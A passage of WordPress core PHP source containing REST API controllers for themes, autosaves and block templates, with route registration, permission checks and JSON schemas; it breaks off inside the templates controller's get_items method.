	 * @since 5.9.0 Renamed `$theme` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Theme        $item    Theme object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$theme = $item;

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'stylesheet', $fields ) ) {
			$data['stylesheet'] = $theme->get_stylesheet();
		}

		if ( rest_is_field_included( 'template', $fields ) ) {
			/**
			 * Use the get_template() method, not the 'Template' header, for finding the template.
			 * The 'Template' header is only good for what was written in the style.css, while
			 * get_template() takes into account where WordPress actually located the theme and
			 * whether it is actually valid.
			 */
			$data['template'] = $theme->get_template();
		}

		$plain_field_mappings = array(
			'requires_php' => 'RequiresPHP',
			'requires_wp'  => 'RequiresWP',
			'textdomain'   => 'TextDomain',
			'version'      => 'Version',
		);

		foreach ( $plain_field_mappings as $field => $header ) {
			if ( rest_is_field_included( $field, $fields ) ) {
				$data[ $field ] = $theme->get( $header );
			}
		}

		if ( rest_is_field_included( 'screenshot', $fields ) ) {
			// Using $theme->get_screenshot() with no args to get absolute URL.
			$data['screenshot'] = $theme->get_screenshot() ? $theme->get_screenshot() : '';
		}

		$rich_field_mappings = array(
			'author'      => 'Author',
			'author_uri'  => 'AuthorURI',
			'description' => 'Description',
			'name'        => 'Name',
			'tags'        => 'Tags',
			'theme_uri'   => 'ThemeURI',
		);

		foreach ( $rich_field_mappings as $field => $header ) {
			if ( rest_is_field_included( "{$field}.raw", $fields ) ) {
				$data[ $field ]['raw'] = $theme->display( $header, false, true );
			}

			if ( rest_is_field_included( "{$field}.rendered", $fields ) ) {
				$data[ $field ]['rendered'] = $theme->display( $header );
			}
		}

		$current_theme = wp_get_theme();
		if ( rest_is_field_included( 'status', $fields ) ) {
			$data['status'] = ( $this->is_same_theme( $theme, $current_theme ) ) ? 'active' : 'inactive';
		}

		if ( rest_is_field_included( 'theme_supports', $fields ) && $this->is_same_theme( $theme, $current_theme ) ) {
			foreach ( get_registered_theme_features() as $feature => $config ) {
				if ( ! is_array( $config['show_in_rest'] ) ) {
					continue;
				}

				$name = $config['show_in_rest']['name'];

				if ( ! rest_is_field_included( "theme_supports.{$name}", $fields ) ) {
					continue;
				}

				if ( ! current_theme_supports( $feature ) ) {
					$data['theme_supports'][ $name ] = $config['show_in_rest']['schema']['default'];
					continue;
				}

				$support = get_theme_support( $feature );

				if ( isset( $config['show_in_rest']['prepare_callback'] ) ) {
					$prepare = $config['show_in_rest']['prepare_callback'];
				} else {
					$prepare = array( $this, 'prepare_theme_support' );
				}

				$prepared = $prepare( $support, $config, $feature, $request );

				if ( is_wp_error( $prepared ) ) {
					continue;
				}

				$data['theme_supports'][ $name ] = $prepared;
			}
		}

		if ( rest_is_field_included( 'is_block_theme', $fields ) ) {
			$data['is_block_theme'] = $theme->is_block_theme();
		}

		$data = $this->add_additional_fields_to_object( $data, $request );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $theme ) );
		}

		/**
		 * Filters theme data returned from the REST API.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Theme         $theme    Theme object used to create response.
		 * @param WP_REST_Request  $request  Request object.
		 */
		return apply_filters( 'rest_prepare_theme', $response, $theme, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_Theme $theme Theme data.
	 * @return array Links for the given block type.
	 */
	protected function prepare_links( $theme ) {
		$links = array(
			'self'       => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $theme->get_stylesheet() ) ),
			),
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
		);

		if ( $this->is_same_theme( $theme, wp_get_theme() ) ) {
			// This creates a record for the active theme if not existent.
			$id = WP_Theme_JSON_Resolver::get_user_global_styles_post_id();
		} else {
			$user_cpt = WP_Theme_JSON_Resolver::get_user_data_from_wp_global_styles( $theme );
			$id       = isset( $user_cpt['ID'] ) ? $user_cpt['ID'] : null;
		}

		if ( $id ) {
			$links['https://api.w.org/user-global-styles'] = array(
				'href' => rest_url( 'wp/v2/global-styles/' . $id ),
			);
		}

		return $links;
	}

	/**
	 * Helper function to compare two themes.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_Theme $theme_a First theme to compare.
	 * @param WP_Theme $theme_b Second theme to compare.
	 * @return bool
	 */
	protected function is_same_theme( $theme_a, $theme_b ) {
		return $theme_a->get_stylesheet() === $theme_b->get_stylesheet();
	}

	/**
	 * Prepares the theme support value for inclusion in the REST API response.
	 *
	 * @since 5.5.0
	 *
	 * @param mixed           $support The raw value from get_theme_support().
	 * @param array           $args    The feature's registration args.
	 * @param string          $feature The feature name.
	 * @param WP_REST_Request $request The request object.
	 * @return mixed The prepared support value.
	 */
	protected function prepare_theme_support( $support, $args, $feature, $request ) {
		$schema = $args['show_in_rest']['schema'];

		if ( 'boolean' === $schema['type'] ) {
			return true;
		}

		if ( is_array( $support ) && ! $args['variadic'] ) {
			$support = $support[0];
		}

		return rest_sanitize_value_from_schema( $support, $schema );
	}

	/**
	 * Retrieves the theme's schema, conforming to JSON Schema.
	 *
	 * @since 5.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'theme',
			'type'       => 'object',
			'properties' => array(
				'stylesheet'     => array(
					'description' => __( 'The theme\'s stylesheet. This uniquely identifies the theme.' ),
					'type'        => 'string',
					'readonly'    => true,
				),
				'template'       => array(
					'description' => __( 'The theme\'s template. If this is a child theme, this refers to the parent theme, otherwise this is the same as the theme\'s stylesheet.' ),
					'type'        => 'string',
					'readonly'    => true,
				),
				'author'         => array(
					'description' => __( 'The theme author.' ),
					'type'        => 'object',
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'The theme author\'s name, as found in the theme header.' ),
							'type'        => 'string',
						),
						'rendered' => array(
							'description' => __( 'HTML for the theme author, transformed for display.' ),
							'type'        => 'string',
						),
					),
				),
				'author_uri'     => array(
					'description' => __( 'The website of the theme author.' ),
					'type'        => 'object',
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'The website of the theme author, as found in the theme header.' ),
							'type'        => 'string',
							'format'      => 'uri',
						),
						'rendered' => array(
							'description' => __( 'The website of the theme author, transformed for display.' ),
							'type'        => 'string',
							'format'      => 'uri',
						),
					),
				),
				'description'    => array(
					'description' => __( 'A description of the theme.' ),
					'type'        => 'object',
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'The theme description, as found in the theme header.' ),
							'type'        => 'string',
						),
						'rendered' => array(
							'description' => __( 'The theme description, transformed for display.' ),
							'type'        => 'string',
						),
					),
				),
				'is_block_theme' => array(
					'description' => __( 'Whether the theme is a block-based theme.' ),
					'type'        => 'boolean',
					'readonly'    => true,
				),
				'name'           => array(
					'description' => __( 'The name of the theme.' ),
					'type'        => 'object',
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'The theme name, as found in the theme header.' ),
							'type'        => 'string',
						),
						'rendered' => array(
							'description' => __( 'The theme name, transformed for display.' ),
							'type'        => 'string',
						),
					),
				),
				'requires_php'   => array(
					'description' => __( 'The minimum PHP version required for the theme to work.' ),
					'type'        => 'string',
					'readonly'    => true,
				),
				'requires_wp'    => array(
					'description' => __( 'The minimum WordPress version required for the theme to work.' ),
					'type'        => 'string',
					'readonly'    => true,
				),
				'screenshot'     => array(
					'description' => __( 'The theme\'s screenshot URL.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'readonly'    => true,
				),
				'tags'           => array(
					'description' => __( 'Tags indicating styles and features of the theme.' ),
					'type'        => 'object',
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'The theme tags, as found in the theme header.' ),
							'type'        => 'array',
							'items'       => array(
								'type' => 'string',
							),
						),
						'rendered' => array(
							'description' => __( 'The theme tags, transformed for display.' ),
							'type'        => 'string',
						),
					),
				),
				'textdomain'     => array(
					'description' => __( 'The theme\'s text domain.' ),
					'type'        => 'string',
					'readonly'    => true,
				),
				'theme_supports' => array(
					'description' => __( 'Features supported by this theme.' ),
					'type'        => 'object',
					'readonly'    => true,
					'properties'  => array(),
				),
				'theme_uri'      => array(
					'description' => __( 'The URI of the theme\'s webpage.' ),
					'type'        => 'object',
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'The URI of the theme\'s webpage, as found in the theme header.' ),
							'type'        => 'string',
							'format'      => 'uri',
						),
						'rendered' => array(
							'description' => __( 'The URI of the theme\'s webpage, transformed for display.' ),
							'type'        => 'string',
							'format'      => 'uri',
						),
					),
				),
				'version'        => array(
					'description' => __( 'The theme\'s current version.' ),
					'type'        => 'string',
					'readonly'    => true,
				),
				'status'         => array(
					'description' => __( 'A named status for the theme.' ),
					'type'        => 'string',
					'enum'        => array( 'inactive', 'active' ),
				),
			),
		);

		foreach ( get_registered_theme_features() as $feature => $config ) {
			if ( ! is_array( $config['show_in_rest'] ) ) {
				continue;
			}

			$name = $config['show_in_rest']['name'];

			$schema['properties']['theme_supports']['properties'][ $name ] = $config['show_in_rest']['schema'];
		}

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the search params for the themes collection.
	 *
	 * @since 5.0.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = array(
			'status' => array(
				'description' => __( 'Limit result set to themes assigned one or more statuses.' ),
				'type'        => 'array',
				'items'       => array(
					'enum' => array( 'active', 'inactive' ),
					'type' => 'string',
				),
			),
		);

		/**
		 * Filters REST API collection parameters for the themes controller.
		 *
		 * @since 5.0.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_themes_collection_params', $query_params );
	}

	/**
	 * Sanitizes and validates the list of theme status.
	 *
	 * @since 5.0.0
	 * @deprecated 5.7.0
	 *
	 * @param string|array    $statuses  One or more theme statuses.
	 * @param WP_REST_Request $request   Full details about the request.
	 * @param string          $parameter Additional parameter to pass to validation.
	 * @return array|WP_Error A list of valid statuses, otherwise WP_Error object.
	 */
	public function sanitize_theme_status( $statuses, $request, $parameter ) {
		_deprecated_function( __METHOD__, '5.7.0' );

		$statuses = wp_parse_slug_list( $statuses );

		foreach ( $statuses as $status ) {
			$result = rest_validate_request_arg( $status, $request, $parameter );

			if ( is_wp_error( $result ) ) {
				return $result;
			}
		}

		return $statuses;
	}
}
<?php
/**
 * REST API: WP_REST_Autosaves_Controller class.
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Core class used to access autosaves via the REST API.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Revisions_Controller
 * @see WP_REST_Controller
 */
class WP_REST_Autosaves_Controller extends WP_REST_Revisions_Controller {

	/**
	 * Parent post type.
	 *
	 * @since 5.0.0
	 * @var string
	 */
	private $parent_post_type;

	/**
	 * Parent post controller.
	 *
	 * @since 5.0.0
	 * @var WP_REST_Controller
	 */
	private $parent_controller;

	/**
	 * Revision controller.
	 *
	 * @since 5.0.0
	 * @var WP_REST_Revisions_Controller
	 */
	private $revisions_controller;

	/**
	 * The base of the parent controller's route.
	 *
	 * @since 5.0.0
	 * @var string
	 */
	private $parent_base;

	/**
	 * Constructor.
	 *
	 * @since 5.0.0
	 *
	 * @param string $parent_post_type Post type of the parent.
	 */
	public function __construct( $parent_post_type ) {
		$this->parent_post_type = $parent_post_type;
		$post_type_object       = get_post_type_object( $parent_post_type );
		$parent_controller      = $post_type_object->get_rest_controller();

		if ( ! $parent_controller ) {
			$parent_controller = new WP_REST_Posts_Controller( $parent_post_type );
		}

		$this->parent_controller = $parent_controller;

		$revisions_controller = $post_type_object->get_revisions_rest_controller();
		if ( ! $revisions_controller ) {
			$revisions_controller = new WP_REST_Revisions_Controller( $parent_post_type );
		}
		$this->revisions_controller = $revisions_controller;
		$this->rest_base            = 'autosaves';
		$this->parent_base          = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
		$this->namespace            = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2';
	}

	/**
	 * Registers the routes for autosaves.
	 *
	 * @since 5.0.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<id>[\d]+)/' . $this->rest_base,
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the autosave.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->parent_controller->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the autosave.' ),
						'type'        => 'integer',
					),
					'id'     => array(
						'description' => __( 'The ID for the autosave.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this->revisions_controller, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Get the parent post.
	 *
	 * @since 5.0.0
	 *
	 * @param int $parent_id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_parent( $parent_id ) {
		return $this->revisions_controller->get_parent( $parent_id );
	}

	/**
	 * Checks if a given request has access to get autosaves.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$parent = $this->get_parent( $request['id'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		if ( ! current_user_can( 'edit_post', $parent->ID ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to view autosaves of this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Checks if a given request has access to create an autosave revision.
	 *
	 * Autosave revisions inherit permissions from the parent post,
	 * check if the current user has permission to edit the post.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create the item, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		$id = $request->get_param( 'id' );

		if ( empty( $id ) ) {
			return new WP_Error(
				'rest_post_invalid_id',
				__( 'Invalid item ID.' ),
				array( 'status' => 404 )
			);
		}

		return $this->parent_controller->update_item_permissions_check( $request );
	}

	/**
	 * Creates, updates or deletes an autosave revision.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {

		if ( ! defined( 'WP_RUN_CORE_TESTS' ) && ! defined( 'DOING_AUTOSAVE' ) ) {
			define( 'DOING_AUTOSAVE', true );
		}

		$post = $this->get_parent( $request['id'] );

		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$prepared_post     = $this->parent_controller->prepare_item_for_database( $request );
		$prepared_post->ID = $post->ID;
		$user_id           = get_current_user_id();

		// We need to check post lock to ensure the original author didn't leave their browser tab open.
		if ( ! function_exists( 'wp_check_post_lock' ) ) {
			require_once ABSPATH . 'wp-admin/includes/post.php';
		}

		$post_lock = wp_check_post_lock( $post->ID );
		$is_draft  = 'draft' === $post->post_status || 'auto-draft' === $post->post_status;

		if ( $is_draft && (int) $post->post_author === $user_id && ! $post_lock ) {
			/*
			 * Draft posts for the same author: autosaving updates the post and does not create a revision.
			 * Convert the post object to an array and add slashes, wp_update_post() expects escaped array.
			 */
			$autosave_id = wp_update_post( wp_slash( (array) $prepared_post ), true );
		} else {
			// Non-draft posts: create or update the post autosave. Pass the meta data.
			$autosave_id = $this->create_post_autosave( (array) $prepared_post, (array) $request->get_param( 'meta' ) );
		}

		if ( is_wp_error( $autosave_id ) ) {
			return $autosave_id;
		}

		$autosave = get_post( $autosave_id );
		$request->set_param( 'context', 'edit' );

		$response = $this->prepare_item_for_response( $autosave, $request );
		$response = rest_ensure_response( $response );

		return $response;
	}

	/**
	 * Get the autosave, if the ID is valid.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Post|WP_Error Revision post object if ID is valid, WP_Error otherwise.
	 */
	public function get_item( $request ) {
		$parent_id = (int) $request->get_param( 'parent' );

		if ( $parent_id <= 0 ) {
			return new WP_Error(
				'rest_post_invalid_id',
				__( 'Invalid post parent ID.' ),
				array( 'status' => 404 )
			);
		}

		$autosave = wp_get_post_autosave( $parent_id );

		if ( ! $autosave ) {
			return new WP_Error(
				'rest_post_no_autosave',
				__( 'There is no autosave revision for this post.' ),
				array( 'status' => 404 )
			);
		}

		$response = $this->prepare_item_for_response( $autosave, $request );
		return $response;
	}

	/**
	 * Gets a collection of autosaves using wp_get_post_autosave.
	 *
	 * Contains the user's autosave, for empty if it doesn't exist.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$parent = $this->get_parent( $request['id'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		$response  = array();
		$parent_id = $parent->ID;
		$revisions = wp_get_post_revisions( $parent_id, array( 'check_enabled' => false ) );

		foreach ( $revisions as $revision ) {
			if ( str_contains( $revision->post_name, "{$parent_id}-autosave" ) ) {
				$data       = $this->prepare_item_for_response( $revision, $request );
				$response[] = $this->prepare_response_for_collection( $data );
			}
		}

		return rest_ensure_response( $response );
	}


	/**
	 * Retrieves the autosave's schema, conforming to JSON Schema.
	 *
	 * @since 5.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = $this->revisions_controller->get_item_schema();

		$schema['properties']['preview_link'] = array(
			'description' => __( 'Preview link for the post.' ),
			'type'        => 'string',
			'format'      => 'uri',
			'context'     => array( 'edit' ),
			'readonly'    => true,
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Creates autosave for the specified post.
	 *
	 * From wp-admin/post.php.
	 *
	 * @since 5.0.0
	 * @since 6.4.0 The `$meta` parameter was added.
	 *
	 * @param array $post_data Associative array containing the post data.
	 * @param array $meta      Associative array containing the post meta data.
	 * @return mixed The autosave revision ID or WP_Error.
	 */
	public function create_post_autosave( $post_data, array $meta = array() ) {

		$post_id = (int) $post_data['ID'];
		$post    = get_post( $post_id );

		if ( is_wp_error( $post ) ) {
			return $post;
		}

		// Only create an autosave when it is different from the saved post.
		$autosave_is_different = false;
		$new_autosave          = _wp_post_revision_data( $post_data, true );

		foreach ( array_intersect( array_keys( $new_autosave ), array_keys( _wp_post_revision_fields( $post ) ) ) as $field ) {
			if ( normalize_whitespace( $new_autosave[ $field ] ) !== normalize_whitespace( $post->$field ) ) {
				$autosave_is_different = true;
				break;
			}
		}

		// Check if meta values have changed.
		if ( ! empty( $meta ) ) {
			$revisioned_meta_keys = wp_post_revision_meta_keys( $post->post_type );
			foreach ( $revisioned_meta_keys as $meta_key ) {
				// get_metadata_raw is used to avoid retrieving the default value.
				$old_meta = get_metadata_raw( 'post', $post_id, $meta_key, true );
				$new_meta = isset( $meta[ $meta_key ] ) ? $meta[ $meta_key ] : '';

				if ( $new_meta !== $old_meta ) {
					$autosave_is_different = true;
					break;
				}
			}
		}

		$user_id = get_current_user_id();

		// Store one autosave per author. If there is already an autosave, overwrite it.
		$old_autosave = wp_get_post_autosave( $post_id, $user_id );

		if ( ! $autosave_is_different && $old_autosave ) {
			// Nothing to save, return the existing autosave.
			return $old_autosave->ID;
		}

		if ( $old_autosave ) {
			$new_autosave['ID']          = $old_autosave->ID;
			$new_autosave['post_author'] = $user_id;

			/** This filter is documented in wp-admin/post.php */
			do_action( 'wp_creating_autosave', $new_autosave );

			// wp_update_post() expects escaped array.
			$revision_id = wp_update_post( wp_slash( $new_autosave ) );
		} else {
			// Create the new autosave as a special post revision.
			$revision_id = _wp_put_post_revision( $post_data, true );
		}

		if ( is_wp_error( $revision_id ) || 0 === $revision_id ) {
			return $revision_id;
		}

		// Attached any passed meta values that have revisions enabled.
		if ( ! empty( $meta ) ) {
			foreach ( $revisioned_meta_keys as $meta_key ) {
				if ( isset( $meta[ $meta_key ] ) ) {
					update_metadata( 'post', $revision_id, $meta_key, wp_slash( $meta[ $meta_key ] ) );
				}
			}
		}

		return $revision_id;
	}

	/**
	 * Prepares the revision for the REST response.
	 *
	 * @since 5.0.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post         $item    Post revision object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		$response = $this->revisions_controller->prepare_item_for_response( $post, $request );
		$fields   = $this->get_fields_for_response( $request );

		if ( in_array( 'preview_link', $fields, true ) ) {
			$parent_id          = wp_is_post_autosave( $post );
			$preview_post_id    = false === $parent_id ? $post->ID : $parent_id;
			$preview_query_args = array();

			if ( false !== $parent_id ) {
				$preview_query_args['preview_id']    = $parent_id;
				$preview_query_args['preview_nonce'] = wp_create_nonce( 'post_preview_' . $parent_id );
			}

			$response->data['preview_link'] = get_preview_post_link( $preview_post_id, $preview_query_args );
		}

		$context        = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$response->data = $this->add_additional_fields_to_object( $response->data, $request );
		$response->data = $this->filter_response_by_context( $response->data, $context );

		/**
		 * Filters a revision returned from the REST API.
		 *
		 * Allows modification of the revision right before it is returned.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     The original revision object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_autosave', $response, $post, $request );
	}

	/**
	 * Retrieves the query params for the autosaves collection.
	 *
	 * @since 5.0.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}
}
<?php
/**
 * REST API: WP_REST_Templates_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since 5.8.0
 */

/**
 * Base Templates REST API Controller.
 *
 * @since 5.8.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Templates_Controller extends WP_REST_Controller {

	/**
	 * Post type.
	 *
	 * @since 5.8.0
	 * @var string
	 */
	protected $post_type;

	/**
	 * Constructor.
	 *
	 * @since 5.8.0
	 *
	 * @param string $post_type Post type.
	 */
	public function __construct( $post_type ) {
		$this->post_type = $post_type;
		$obj             = get_post_type_object( $post_type );
		$this->rest_base = ! empty( $obj->rest_base ) ? $obj->rest_base : $obj->name;
		$this->namespace = ! empty( $obj->rest_namespace ) ? $obj->rest_namespace : 'wp/v2';
	}

	/**
	 * Registers the controllers routes.
	 *
	 * @since 5.8.0
	 * @since 6.1.0 Endpoint for fallback template content.
	 */
	public function register_routes() {
		// Lists all templates.
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		// Get fallback template content.
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/lookup',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_template_fallback' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'slug'            => array(
							'description' => __( 'The slug of the template to get the fallback for' ),
							'type'        => 'string',
							'required'    => true,
						),
						'is_custom'       => array(
							'description' => __( 'Indicates if a template is custom or part of the template hierarchy' ),
							'type'        => 'boolean',
						),
						'template_prefix' => array(
							'description' => __( 'The template prefix for the created template. This is used to extract the main template type, e.g. in `taxonomy-books` extracts the `taxonomy`' ),
							'type'        => 'string',
						),
					),
				),
			)
		);

		// Lists/updates a single template based on the given id.
		register_rest_route(
			$this->namespace,
			// The route.
			sprintf(
				'/%s/(?P<id>%s%s)',
				$this->rest_base,
				/*
				 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
				 * Excludes invalid directory name characters: `/:<>*?"|`.
				 */
				'([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)',
				// Matches the template name.
				'[\/\w%-]+'
			),
			array(
				'args'   => array(
					'id' => array(
						'description'       => __( 'The id of a template' ),
						'type'              => 'string',
						'sanitize_callback' => array( $this, '_sanitize_template_id' ),
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Whether to bypass Trash and force deletion.' ),
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Returns the fallback template for the given slug.
	 *
	 * @since 6.1.0
	 * @since 6.3.0 Ignore empty templates.
	 *
	 * @param WP_REST_Request $request The request instance.
	 * @return WP_REST_Response|WP_Error
	 */
	public function get_template_fallback( $request ) {
		$hierarchy = get_template_hierarchy( $request['slug'], $request['is_custom'], $request['template_prefix'] );

		do {
			$fallback_template = resolve_block_template( $request['slug'], $hierarchy, '' );
			array_shift( $hierarchy );
		} while ( ! empty( $hierarchy ) && empty( $fallback_template->content ) );

		// To maintain original behavior, return an empty object rather than a 404 error when no template is found.
		$response = $fallback_template ? $this->prepare_item_for_response( $fallback_template, $request ) : new stdClass();

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if the user has permissions to make the request.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	protected function permissions_check( $request ) {
		/*
		 * Verify if the current user has edit_theme_options capability.
		 * This capability is required to edit/view/delete templates.
		 */
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_manage_templates',
				__( 'Sorry, you are not allowed to access the templates on this site.' ),
				array(
					'status' => rest_authorization_required_code(),
				)
			);
		}

		return true;
	}

	/**
	 * Requesting this endpoint for a template like 'twentytwentytwo//home'
	 * requires using a path like /wp/v2/templates/twentytwentytwo//home. There
	 * are special cases when WordPress routing corrects the name to contain
	 * only a single slash like 'twentytwentytwo/home'.
	 *
	 * This method doubles the last slash if it's not already doubled. It relies
	 * on the template ID format {theme_name}//{template_slug} and the fact that
	 * slugs cannot contain slashes.
	 *
	 * @since 5.9.0
	 * @see https://core.trac.wordpress.org/ticket/54507
	 *
	 * @param string $id Template ID.
	 * @return string Sanitized template ID.
	 */
	public function _sanitize_template_id( $id ) {
		$id = urldecode( $id );

		$last_slash_pos = strrpos( $id, '/' );
		if ( false === $last_slash_pos ) {
			return $id;
		}

		$is_double_slashed = substr( $id, $last_slash_pos - 1, 1 ) === '/';
		if ( $is_double_slashed ) {
			return $id;
		}
		return (
			substr( $id, 0, $last_slash_pos )
			. '/'
			. substr( $id, $last_slash_pos )
		);
	}

	/**
	 * Checks if a given request has access to read templates.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Returns a list of templates.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request The request instance.
	 * @return WP_REST_Response
	 */
	public function get_items( $request ) {
